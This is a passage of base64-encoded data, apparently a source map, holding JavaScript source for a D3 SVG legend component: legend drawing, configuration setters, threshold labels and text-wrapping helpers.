GxvdXRcIiwgXCJjZWxsY2xpY2tcIilcblxuICBmdW5jdGlvbiBsZWdlbmQoc3ZnKSB7XG4gICAgY29uc3QgdHlwZSA9IGhlbHBlci5kM19jYWxjVHlwZShcbiAgICAgICAgc2NhbGUsXG4gICAgICAgIGFzY2VuZGluZyxcbiAgICAgICAgY2VsbHMsXG4gICAgICAgIGxhYmVscyxcbiAgICAgICAgbG9jYWxlLmZvcm1hdChzcGVjaWZpZXIpLFxuICAgICAgICBsYWJlbERlbGltaXRlclxuICAgICAgKSxcbiAgICAgIGxlZ2VuZEcgPSBzdmcuc2VsZWN0QWxsKFwiZ1wiKS5kYXRhKFtzY2FsZV0pXG5cbiAgICBsZWdlbmRHXG4gICAgICAuZW50ZXIoKVxuICAgICAgLmFwcGVuZChcImdcIilcbiAgICAgIC5hdHRyKFwiY2xhc3NcIiwgY2xhc3NQcmVmaXggKyBcImxlZ2VuZENlbGxzXCIpXG5cbiAgICBpZiAoY2VsbEZpbHRlcikge1xuICAgICAgaGVscGVyLmQzX2ZpbHRlckNlbGxzKHR5cGUsIGNlbGxGaWx0ZXIpXG4gICAgfVxuXG4gICAgbGV0IGNlbGwgPSBzdmdcbiAgICAgIC5zZWxlY3QoXCIuXCIgKyBjbGFzc1ByZWZpeCArIFwibGVnZW5kQ2VsbHNcIilcbiAgICAgIC5zZWxlY3RBbGwoXCIuXCIgKyBjbGFzc1ByZWZpeCArIFwiY2VsbFwiKVxuICAgICAgLmRhdGEodHlwZS5kYXRhKVxuXG4gICAgY29uc3QgY2VsbEVudGVyID0gY2VsbFxuICAgICAgLmVudGVyKClcbiAgICAgIC5hcHBlbmQoXCJnXCIpXG4gICAgICAuYXR0cihcImNsYXNzXCIsIGNsYXNzUHJlZml4ICsgXCJjZWxsXCIpXG4gICAgY2VsbEVudGVyLmFwcGVuZChzaGFwZSkuYXR0cihcImNsYXNzXCIsIGNsYXNzUHJlZml4ICsgXCJzd2F0Y2hcIilcblxuICAgIGxldCBzaGFwZXMgPSBzdmdcbiAgICAgIC5zZWxlY3RBbGwoXG4gICAgICAgIFwiZy5cIiArIGNsYXNzUHJlZml4ICsgXCJjZWxsIFwiICsgc2hhcGUgKyBcIi5cIiArIGNsYXNzUHJlZml4ICsgXCJzd2F0Y2hcIlxuICAgICAgKVxuICAgICAgLmRhdGEodHlwZS5kYXRhKVxuXG4gICAgLy9hZGQgZXZlbnQgaGFuZGxlcnNcbiAgICBoZWxwZXIuZDNfYWRkRXZlbnRzKGNlbGxFbnRlciwgbGVnZW5kRGlzcGF0Y2hlcilcblxuICAgIGNlbGxcbiAgICAgIC5leGl0KClcbiAgICAgIC50cmFuc2l0aW9uKClcbiAgICAgIC5zdHlsZShcIm9wYWNpdHlcIiwgMClcbiAgICAgIC5yZW1vdmUoKVxuICAgIHNoYXBlc1xuICAgICAgLmV4aXQoKVxuICAgICAgLnRyYW5zaXRpb24oKVxuICAgICAgLnN0eWxlKFwib3BhY2l0eVwiLCAwKVxuICAgICAgLnJlbW92ZSgpXG5cbiAgICBzaGFwZXMgPSBzaGFwZXMubWVyZ2Uoc2hhcGVzKVxuXG4gICAgaGVscGVyLmQzX2RyYXdTaGFwZXMoXG4gICAgICBzaGFwZSxcbiAgICAgIHNoYXBlcyxcbiAgICAgIHNoYXBlSGVpZ2h0LFxuICAgICAgc2hhcGVXaWR0aCxcbiAgICAgIHNoYXBlUmFkaXVzLFxuICAgICAgcGF0aFxuICAgIClcbiAgICBjb25zdCB0ZXh0ID0gaGVscGVyLmQzX2FkZFRleHQoXG4gICAgICBzdmcsXG4gICAgICBjZWxsRW50ZXIsXG4gICAgICB0eXBlLmxhYmVscyxcbiAgICAgIGNsYXNzUHJlZml4LFxuICAgICAgbGFiZWxXcmFwXG4gICAgKVxuXG4gICAgLy8gd2UgbmVlZCB0byBtZXJnZSB0aGUgc2VsZWN0aW9uLCBvdGhlcndpc2UgY2hhbmdlcyBpbiB0aGUgbGVnZW5kIChlLmcuIGNoYW5nZSBvZiBvcmllbnRhdGlvbikgYXJlIGFwcGxpZWQgb25seSB0byB0aGUgbmV3IGNlbGxzIGFuZCBub3QgdGhlIGV4aXN0aW5nIG9uZXMuXG4gICAgY2VsbCA9IGNlbGxFbnRlci5tZXJnZShjZWxsKVxuXG4gICAgLy8gc2V0cyBwbGFjZW1lbnRcbiAgICBjb25zdCB0ZXh0U2l6ZSA9IHRleHQubm9kZXMoKS5tYXAoZCA9PiBkLmdldEJCb3goKSksXG4gICAgICBzaGFwZVNpemUgPSBzaGFwZXMubm9kZXMoKS5tYXAoZCA9PiBkLmdldEJCb3goKSlcbiAgICAvL3NldHMgc2NhbGVcbiAgICAvL2V2ZXJ5dGhpbmcgaXMgZmlsbCBleGNlcHQgZm9yIGxpbmUgd2hpY2ggaXMgc3Ryb2tlLFxuICAgIGlmICghdXNlQ2xhc3MpIHtcbiAgICAgIGlmIChzaGFwZSA9PSBcImxpbmVcIikge1xuICAgICAgICBzaGFwZXMuc3R5bGUoXCJzdHJva2VcIiwgdHlwZS5mZWF0dXJlKVxuICAgICAgfSBlbHNlIHtcbiAgICAgICAgc2hhcGVzLnN0eWxlKFwiZmlsbFwiLCB0eXBlLmZlYXR1cmUpXG4gICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgIHNoYXBlcy5hdHRyKFwiY2xhc3NcIiwgZCA9PiBgJHtjbGFzc1ByZWZpeH1zd2F0Y2ggJHt0eXBlLmZlYXR1cmUoZCl9YClcbiAgICB9XG5cbiAgICBsZXQgY2VsbFRyYW5zLFxuICAgICAgdGV4dFRyYW5zLFxuICAgICAgdGV4dEFsaWduID0gbGFiZWxBbGlnbiA9PSBcInN0YXJ0XCIgPyAwIDogbGFiZWxBbGlnbiA9PSBcIm1pZGRsZVwiID8gMC41IDogMVxuXG4gICAgLy9wb3NpdGlvbnMgY2VsbHMgYW5kIHRleHRcbiAgICBpZiAob3JpZW50ID09PSBcInZlcnRpY2FsXCIpIHtcbiAgICAgIGNvbnN0IGNlbGxTaXplID0gdGV4dFNpemUubWFwKChkLCBpKSA9PlxuICAgICAgICBNYXRoLm1heChkLmhlaWdodCwgc2hhcGVTaXplW2ldLmhlaWdodClcbiAgICAgIClcblxuICAgICAgY2VsbFRyYW5zID0gKGQsIGkpID0+IHtcbiAgICAgICAgY29uc3QgaGVpZ2h0ID0gc3VtKGNlbGxTaXplLnNsaWNlKDAsIGkpKVxuICAgICAgICByZXR1cm4gYHRyYW5zbGF0ZSgwLCAke2hlaWdodCArIGkgKiBzaGFwZVBhZGRpbmd9KWBcbiAgICAgIH1cblxuICAgICAgdGV4dFRyYW5zID0gKGQsIGkpID0+XG4gICAgICAgIGB0cmFuc2xhdGUoICR7c2hhcGVTaXplW2ldLndpZHRoICtcbiAgICAgICAgICBzaGFwZVNpemVbaV0ueCArXG4gICAgICAgICAgbGFiZWxPZmZzZXR9LCAke3NoYXBlU2l6ZVtpXS55ICsgc2hhcGVTaXplW2ldLmhlaWdodCAvIDIgKyA1fSlgXG4gICAgfSBlbHNlIGlmIChvcmllbnQgPT09IFwiaG9yaXpvbnRhbFwiKSB7XG4gICAgICBjZWxsVHJhbnMgPSAoZCwgaSkgPT5cbiAgICAgICAgYHRyYW5zbGF0ZSgke2kgKiAoc2hhcGVTaXplW2ldLndpZHRoICsgc2hhcGVQYWRkaW5nKX0sMClgXG4gICAgICB0ZXh0VHJhbnMgPSAoZCwgaSkgPT4gYHRyYW5zbGF0ZSgke3NoYXBlU2l6ZVtpXS53aWR0aCAqIHRleHRBbGlnbiArXG4gICAgICAgIHNoYXBlU2l6ZVtpXS54fSxcbiAgICAgICAgICAke3NoYXBlU2l6ZVtpXS5oZWlnaHQgKyBzaGFwZVNpemVbaV0ueSArIGxhYmVsT2Zmc2V0ICsgOH0pYFxuICAgIH1cblxuICAgIGhlbHBlci5kM19wbGFjZW1lbnQob3JpZW50LCBjZWxsLCBjZWxsVHJhbnMsIHRleHQsIHRleHRUcmFucywgbGFiZWxBbGlnbilcbiAgICBoZWxwZXIuZDNfdGl0bGUoc3ZnLCB0aXRsZSwgY2xhc3NQcmVmaXgsIHRpdGxlV2lkdGgpXG5cbiAgICBjZWxsLnRyYW5zaXRpb24oKS5zdHlsZShcIm9wYWNpdHlcIiwgMSlcbiAgfVxuXG4gIGxlZ2VuZC5zY2FsZSA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBzY2FsZVxuICAgIHNjYWxlID0gX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5jZWxscyA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBjZWxsc1xuICAgIGlmIChfLmxlbmd0aCA+IDEgfHwgXyA+PSAyKSB7XG4gICAgICBjZWxscyA9IF9cbiAgICB9XG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLmNlbGxGaWx0ZXIgPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gY2VsbEZpbHRlclxuICAgIGNlbGxGaWx0ZXIgPSBfXG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLnNoYXBlID0gZnVuY3Rpb24oXywgZCkge1xuICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIHNoYXBlXG4gICAgaWYgKFxuICAgICAgXyA9PSBcInJlY3RcIiB8fFxuICAgICAgXyA9PSBcImNpcmNsZVwiIHx8XG4gICAgICBfID09IFwibGluZVwiIHx8XG4gICAgICAoXyA9PSBcInBhdGhcIiAmJiB0eXBlb2YgZCA9PT0gXCJzdHJpbmdcIilcbiAgICApIHtcbiAgICAgIHNoYXBlID0gX1xuICAgICAgcGF0aCA9IGRcbiAgICB9XG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLnNoYXBlV2lkdGggPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gc2hhcGVXaWR0aFxuICAgIHNoYXBlV2lkdGggPSArX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5zaGFwZUhlaWdodCA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBzaGFwZUhlaWdodFxuICAgIHNoYXBlSGVpZ2h0ID0gK19cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQuc2hhcGVSYWRpdXMgPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gc2hhcGVSYWRpdXNcbiAgICBzaGFwZVJhZGl1cyA9ICtfXG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLnNoYXBlUGFkZGluZyA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBzaGFwZVBhZGRpbmdcbiAgICBzaGFwZVBhZGRpbmcgPSArX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5sYWJlbHMgPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gbGFiZWxzXG4gICAgbGFiZWxzID0gX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5sYWJlbEFsaWduID0gZnVuY3Rpb24oXykge1xuICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIGxhYmVsQWxpZ25cbiAgICBpZiAoXyA9PSBcInN0YXJ0XCIgfHwgXyA9PSBcImVuZFwiIHx8IF8gPT0gXCJtaWRkbGVcIikge1xuICAgICAgbGFiZWxBbGlnbiA9IF9cbiAgICB9XG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLmxvY2FsZSA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBsb2NhbGVcbiAgICBsb2NhbGUgPSBmb3JtYXRMb2NhbGUoXylcbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQubGFiZWxGb3JtYXQgPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gbGVnZW5kLmxvY2FsZSgpLmZvcm1hdChzcGVjaWZpZXIpXG4gICAgc3BlY2lmaWVyID0gZm9ybWF0U3BlY2lmaWVyKF8pXG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLmxhYmVsT2Zmc2V0ID0gZnVuY3Rpb24oXykge1xuICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIGxhYmVsT2Zmc2V0XG4gICAgbGFiZWxPZmZzZXQgPSArX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5sYWJlbERlbGltaXRlciA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBsYWJlbERlbGltaXRlclxuICAgIGxhYmVsRGVsaW1pdGVyID0gX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC5sYWJlbFdyYXAgPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gbGFiZWxXcmFwXG4gICAgbGFiZWxXcmFwID0gX1xuICAgIHJldHVybiBsZWdlbmRcbiAgfVxuXG4gIGxlZ2VuZC51c2VDbGFzcyA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiB1c2VDbGFzc1xuICAgIGlmIChfID09PSB0cnVlIHx8IF8gPT09IGZhbHNlKSB7XG4gICAgICB1c2VDbGFzcyA9IF9cbiAgICB9XG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLm9yaWVudCA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBvcmllbnRcbiAgICBfID0gXy50b0xvd2VyQ2FzZSgpXG4gICAgaWYgKF8gPT0gXCJob3Jpem9udGFsXCIgfHwgXyA9PSBcInZlcnRpY2FsXCIpIHtcbiAgICAgIG9yaWVudCA9IF9cbiAgICB9XG4gICAgcmV0dXJuIGxlZ2VuZFxuICB9XG5cbiAgbGVnZW5kLmFzY2VuZGluZyA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBhc2NlbmRpbmdcbiAgICBhc2NlbmRpbmcgPSAhIV9cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQuY2xhc3NQcmVmaXggPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gY2xhc3NQcmVmaXhcbiAgICBjbGFzc1ByZWZpeCA9IF9cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQudGl0bGUgPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gdGl0bGVcbiAgICB0aXRsZSA9IF9cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQudGl0bGVXaWR0aCA9IGZ1bmN0aW9uKF8pIHtcbiAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiB0aXRsZVdpZHRoXG4gICAgdGl0bGVXaWR0aCA9IF9cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQudGV4dFdyYXAgPSBmdW5jdGlvbihfKSB7XG4gICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gdGV4dFdyYXBcbiAgICB0ZXh0V3JhcCA9IF9cbiAgICByZXR1cm4gbGVnZW5kXG4gIH1cblxuICBsZWdlbmQub24gPSBmdW5jdGlvbigpIHtcbiAgICBjb25zdCB2YWx1ZSA9IGxlZ2VuZERpc3BhdGNoZXIub24uYXBwbHkobGVnZW5kRGlzcGF0Y2hlciwgYXJndW1lbnRzKVxuICAgIHJldHVybiB2YWx1ZSA9PT0gbGVnZW5kRGlzcGF0Y2hlciA/IGxlZ2VuZCA6IHZhbHVlXG4gIH1cblxuICByZXR1cm4gbGVnZW5kXG59XG4iLCJleHBvcnQgY29uc3QgdGhyZXNob2xkTGFiZWxzID0gZnVuY3Rpb24oe1xuICBpLFxuICBnZW5MZW5ndGgsXG4gIGdlbmVyYXRlZExhYmVscyxcbiAgbGFiZWxEZWxpbWl0ZXJcbn0pIHtcbiAgaWYgKGkgPT09IDApIHtcbiAgICBjb25zdCB2YWx1ZXMgPSBnZW5lcmF0ZWRMYWJlbHNbaV0uc3BsaXQoYCAke2xhYmVsRGVsaW1pdGVyfSBgKVxuICAgIHJldHVybiBgTGVzcyB0aGFuICR7dmFsdWVzWzFdfWBcbiAgfSBlbHNlIGlmIChpID09PSBnZW5MZW5ndGggLSAxKSB7XG4gICAgY29uc3QgdmFsdWVzID0gZ2VuZXJhdGVkTGFiZWxzW2ldLnNwbGl0KGAgJHtsYWJlbERlbGltaXRlcn0gYClcbiAgICByZXR1cm4gYCR7dmFsdWVzWzBdfSBvciBtb3JlYFxuICB9XG4gIHJldHVybiBnZW5lcmF0ZWRMYWJlbHNbaV1cbn1cblxuZXhwb3J0IGRlZmF1bHQge1xuICB0aHJlc2hvbGRMYWJlbHNcbn1cbiIsImltcG9ydCB7IHNlbGVjdCB9IGZyb20gXCJkMy1zZWxlY3Rpb25cIlxuaW1wb3J0IHsgZm9ybWF0LCBmb3JtYXRQcmVmaXggfSBmcm9tIFwiZDMtZm9ybWF0XCJcblxuY29uc3QgZDNfaWRlbnRpdHkgPSBkID0+IGRcblxuY29uc3QgZDNfcmV2ZXJzZSA9IGFyciA9PiB7XG4gIGNvbnN0IG1pcnJvciA9IFtdXG4gIGZvciAobGV0IGkgPSAwLCBsID0gYXJyLmxlbmd0aDsgaSA8IGw7IGkrKykge1xuICAgIG1pcnJvcltpXSA9IGFycltsIC0gaSAtIDFdXG4gIH1cbiAgcmV0dXJuIG1pcnJvclxufVxuXG4vL1RleHQgd3JhcHBpbmcgY29kZSBhZGFwdGVkIGZyb20gTWlrZSBCb3N0b2NrXG5jb25zdCBkM190ZXh0V3JhcHBpbmcgPSAodGV4dCwgd2lkdGgpID0+IHtcbiAgdGV4dC5lYWNoKGZ1bmN0aW9uKCkge1xuICAgIHZhciB0ZXh0ID0gc2VsZWN0KHRoaXMpLFxuICAgICAgd29yZHMgPSB0ZXh0XG4gICAgICAgIC50ZXh0KClcbiAgICAgICAgLnNwbGl0KC9cXHMrLylcbiAgICAgICAgLnJldmVyc2UoKSxcbiAgICAgIHdvcmQsXG4gICAgICBsaW5lID0gW10sXG4gICAgICBsaW5lTnVtYmVyID0gMCxcbiAgICAgIGxpbmVIZWlnaHQgPSAxLjIsIC8vZW1zXG4gICAgICB5ID0gdGV4dC5hdHRyKFwieVwiKSxcbiAgICAgIGR5ID0gcGFyc2VGbG9hdCh0ZXh0LmF0dHIoXCJkeVwiKSkgfHwgMCxcbiAgICAgIHRzcGFuID0gdGV4dFxuICAgICAgICAudGV4dChudWxsKVxuICAgICAgICAuYXBwZW5kKFwidHNwYW5cIilcbiAgICAgICAgLmF0dHIoXCJ4XCIsIDApXG4gICAgICAgIC5hdHRyKFwiZHlcIiwgZHkgKyBcImVtXCIpXG5cbiAgICB3aGlsZSAoKHdvcmQgPSB3b3Jkcy5wb3AoKSkpIHtcbiAgICAgIGxpbmUucHVzaCh3b3JkKVxuICAgICAgdHNwYW4udGV4dChsaW5lLmpvaW4oXCIgXCIpKVxuICAgICAgaWYgKHRzcGFuLm5vZGUoKS5nZXRDb21wdXRlZFRleHRMZW5ndGgoKSA+IHdpZHRoICYmIGxpbmUubGVuZ3RoID4gMSkge1xuICAgICAgICBsaW5lLnBvcCgpXG4gICAgICAgIHRzcGFuLnRleHQobGluZS5qb2luKFwiIFwiKSlcbiAgICAgICAgbGluZSA9IFt3b3JkXVxuICAgICAgICB0c3BhbiA9IHRleHRcbiAgICAgICAgICAuYXBwZW5kKFwidHNwYW5cIilcbiAgICAgICAgICAuYXR0cihcInhcIiwgMClcbiAgICAgICAgICAuYXR0cihcImR5XCIsIGxpbmVIZWlnaHQgKyBkeSArIFwiZW1cIilcbiAgICAgICAgICAudGV4dCh3b3JkKVxuICAgICAgfVxuICAgIH1cbiAgfSlcbn1cblxuY29uc3QgZDNfbWVyZ2VMYWJlbHMgPSAoZ2VuID0gW10sIGxhYmVscywgZG9tYWluLCByYW5nZSwgbGFiZWxEZWxpbWl0ZXIpID0+IHtcbiAgaWYgKHR5cGVvZiBsYWJlbHMgPT09IFwib2JqZWN0XCIpIHtcbiAgICBpZiAobGFiZWxzLmxlbmd0aCA9PT0gMCkgcmV0dXJuIGdlblxuXG4gICAgbGV0IGkgPSBsYWJlbHMubGVuZ3RoXG4gICAgZm9yICg7IGkgPCBnZW4ubGVuZ3RoOyBpKyspIHtcbiAgICAgIGxhYmVscy5wdXNoKGdlbltpXSlcbiAgICB9XG4gICAgcmV0dXJuIGxhYmVsc1xuICB9IGVsc2UgaWYgKHR5cGVvZiBsYWJlbHMgPT09IFwiZnVuY3Rpb25cIikge1xuICAgIGNvbnN0IGN1c3RvbUxhYmVscyA9IFtdXG4gICAgY29uc3QgZ2VuTGVuZ3RoID0gZ2VuLmxlbmd0aFxuICAgIGZvciAobGV0IGkgPSAwOyBpIDwgZ2VuTGVuZ3RoOyBpKyspIHtcbiAgICAgIGN1c3RvbUxhYmVscy5wdXNoKFxuICAgICAgICBsYWJlbHMoe1xuICAgICAgICAgIGksXG4gICAgICAgICAgZ2VuTGVuZ3RoLFxuICAgICAgICAgIGdlbmVyYXRlZExhYmVsczogZ2VuLFxuICAgICAgICAgIGRvbWFpbixcbiAgICAgICAgICByYW5nZSxcbiAgICAgICAgICBsYWJlbERlbGltaXRlclxuICAgICAgICB9KVxuICAgICAgKVxuICAgIH1cbiAgICByZXR1cm4gY3VzdG9tTGFiZWxzXG4gIH1cblxuICByZXR1cm4gZ2VuXG59XG5cbmNvbnN0IGQzX2xpbmVhckxlZ2VuZCA9IChzY2FsZSwgY2VsbHMsIGxhYmVsRm9ybWF0KSA9PiB7XG4gIGxldCBkYXRhID0gW11cblxuICBpZiAoY2VsbHMubGVuZ3RoID4gMSkge1xuICAgIGRhdGEgPSBjZWxsc1xuICB9IGVsc2Uge1xuICAgIGNvbnN0IGRvbWFpbiA9IHNjYWxlLmRvbWFpbigpLFxuICAgICAgaW5jcmVtZW50ID0gKGRvbWFpbltkb21haW4ubGVuZ3RoIC0gMV0gLSBkb21haW5bMF0pIC8gKGNlbGxzIC0gMSlcbiAgICBsZXQgaSA9IDBcblxuICAgIGZvciAoOyBpIDwgY2VsbHM7IGkrKykge1xuICAgICAgZGF0YS5wdXNoKGRvbWFpblswXSArIGkgKiBpbmNyZW1lbnQpXG4gICAgfVxuICB9XG5cbiAgY29uc3QgbGFiZWxzID0gZGF0YS5tYXAobGFiZWxGb3JtYXQpXG4gIHJldHVybiB7XG4gICAgZGF0YTogZGF0YSxcbiAgICBsYWJlbHM6IGxhYmVscyxcbiAgICBmZWF0dXJlOiBkID0+IHNjYWxlKGQpXG4gIH1cbn1cblxuY29uc3QgZDNfcXVhbnRMZWdlbmQgPSAoc2NhbGUsIGxhYmVsRm9ybWF0LCBsYWJlbERlbGltaXRlcikgPT4ge1xuICBjb25zdCBsYWJlbHMgPSBzY2FsZS5yYW5nZSgpLm1hcChkID0+IHtcbiAgICBjb25zdCBpbnZlcnQgPSBzY2FsZS5pbnZlcnRFeHRlbnQoZClcbiAgICByZXR1cm4gKFxuICAgICAgbGFiZWxGb3JtYXQoaW52ZXJ0WzBdKSArXG4gICAgICBcIiBcIiArXG4gICAgICBsYWJlbERlbGltaXRlciArXG4gICAgICBcIiBcIiArXG4gICAgICBsYWJlbEZvcm1hdChpbnZlcnRbMV0pXG4gICAgKVxuICB9KVxuXG4gIHJldHVybiB7XG4gICAgZGF0YTogc2NhbGUucmFuZ2UoKSxcbiAgICBsYWJlbHM6IGxhYmVscyxcbiAgICBmZWF0dXJlOiBkM19pZGVudGl0eVxuICB9XG59XG5cbmNvbnN0IGQzX29yZGluYWxMZWdlbmQgPSBzY2FsZSA9PiAoe1xuICBkYXRhOiBzY2FsZS5kb21haW4oKSxcbiAgbGFiZWxzOiBzY2FsZS5kb21haW4oKSxcbiAgZmVhdHVyZTogZCA9PiBzY2FsZShkKVxufSlcblxuY29uc3QgZDNfY2VsbE92ZXIgPSAoY2VsbERpc3BhdGNoZXIsIGQsIG9iaikgPT4ge1xuICBjZWxsRGlzcGF0Y2hlci5jYWxsKFwiY2VsbG92ZXJcIiwgb2JqLCBkKVxufVxuXG5jb25zdCBkM19jZWxsT3V0ID0gKGNlbGxEaXNwYXRjaGVyLCBkLCBvYmopID0+IHtcbiAgY2VsbERpc3BhdGNoZXIuY2FsbChcImNlbGxvdXRcIiwgb2JqLCBkKVxufVxuXG5jb25zdCBkM19jZWxsQ2xpY2sgPSAoY2VsbERpc3BhdGNoZXIsIGQsIG9iaikgPT4ge1xuICBjZWxsRGlzcGF0Y2hlci5jYWxsKFwiY2VsbGNsaWNrXCIsIG9iaiwgZClcbn1cblxuZXhwb3J0IGRlZmF1bHQge1xuICBkM19kcmF3U2hhcGVzOiAoXG4gICAgc2hhcGUsXG4gICAgc2hhcGVzLFxuICAgIHNoYXBlSGVpZ2h0LFxuICAgIHNoYXBlV2lkdGgsXG4gICAgc2hhcGVSYWRpdXMsXG4gICAgcGF0aFxuICApID0+IHtcbiAgICBpZiAoc2hhcGUgPT09IFwicmVjdFwiKSB7XG4gICAgICBzaGFwZXMuYXR0cihcImhlaWdodFwiLCBzaGFwZUhlaWdodCkuYXR0cihcIndpZHRoXCIsIHNoYXBlV2lkdGgpXG4gICAgfSBlbHNlIGlmIChzaGFwZSA9PT0gXCJjaXJjbGVcIikge1xuICAgICAgc2hhcGVzLmF0dHIoXCJyXCIsIHNoYXBlUmFkaXVzKVxuICAgIH0gZWxzZSBpZiAoc2hhcGUgPT09IFwibGluZVwiKSB7XG4gICAgICBzaGFwZXNcbiAgICAgICAgLmF0dHIoXCJ4MVwiLCAwKVxuICAgICAgICAuYXR0cihcIngyXCIsIHNoYXBlV2lkdGgpXG4gICAgICAgIC5hdHRyKFwieTFcIiwgMClcbiAgICAgICAgLmF0dHIoXCJ5MlwiLCAwKVxuICAgIH0gZWxzZSBpZiAoc2hhcGUgPT09IFwicGF0aFwiKSB7XG4gICAgICBzaGFwZXMuYXR0cihcImRcIiwgcGF0aClcbiAgICB9XG4gIH0sXG5cbiAgZDNfYWRkVGV4dDogZnVuY3Rpb24oc3ZnLCBlbnRlciwgbGFiZWxzLCBjbGFzc1ByZWZpeCwgbGFiZWxXaWR0aCkge1xuICAgIGVudGVyLmFwcGVuZChcInRleHRcIikuYXR0cihcImNsYXNzXCIsIGNsYXNzUHJlZml4ICsgXCJsYWJlbFwiKVxuICAgIGNvbnN0IHRleHQgPSBzdmdcbiAgICAgIC5zZWxlY3RBbGwoYGcuJHtjbGFzc1ByZWZpeH1jZWxsIHRleHQuJHtjbGFzc1ByZWZpeH1sYWJlbGApXG4gICAgICAuZGF0YShsYWJlbHMpXG4gICAgICAudGV4dChkM19pZGVudGl0eSlcblxuICAgIGlmIChsYWJlbFdpZHRoKSB7XG4gICAgICBzdmdcbiAgICAgICAgLnNlbGVjdEFsbChgZy4ke2NsYXNzUHJlZml4fWNlbGwgdGV4dC4ke2NsYXNzUHJlZml4fWxhYmVsYClcbiAgICAgICAgLmNhbGwoZDNfdGV4dFdyYXBwaW5nLCBsYWJlbFdpZHRoKVxuICAgIH1cblxuICAgIHJldHVybiB0ZXh0XG4gIH0sXG5cbiAgZDNfY2FsY1R5cGU6IGZ1bmN0aW9uKFxuICAgIHNjYWxlLFxuICAgIGFzY2VuZGluZyxcbiAgICBjZWxscyxcbiAgICBsYWJlbHMsXG4gICAgbGFiZWxGb3JtYXQsXG4gICAgbGFiZWxEZWxpbWl0ZXJcbiAgKSB7XG4gICAgY29uc3QgdHlwZSA9IHNjYWxlLmludmVydEV4dGVudFxuICAgICAgPyBkM19xdWFudExlZ2VuZChzY2FsZSwgbGFiZWxGb3JtYXQsIGxhYmVsRGVsaW1pdGVyKVxuICAgICAgOiBzY2FsZS50aWNrc1xuICAgICAgICA/IGQzX2xpbmVhckxlZ2VuZChzY2FsZSwgY2VsbHMsIGxhYmVsRm9ybWF0KVxuICAgICAgICA6IGQzX29yZGluYWxMZWdlbmQoc2NhbGUpXG5cbiAgICAvL2ZvciBkMy5zY2FsZVNlcXVlbnRpYWwgdGhhdCBkb2Vzbid0IGhhdmUgYSByYW5nZSBmdW5jdGlvblxuICAgIGNvbnN0IHJhbmdlID0gKHNjYWxlLnJhbmdlICYmIHNjYWxlLnJhbmdlKCkpIHx8IHNjYWxlLmRvbWFpbigpXG4gICAgdHlwZS5sYWJlbHMgPSBkM19tZXJnZUxhYmVscyhcbiAgICAgIHR5cGUubGFi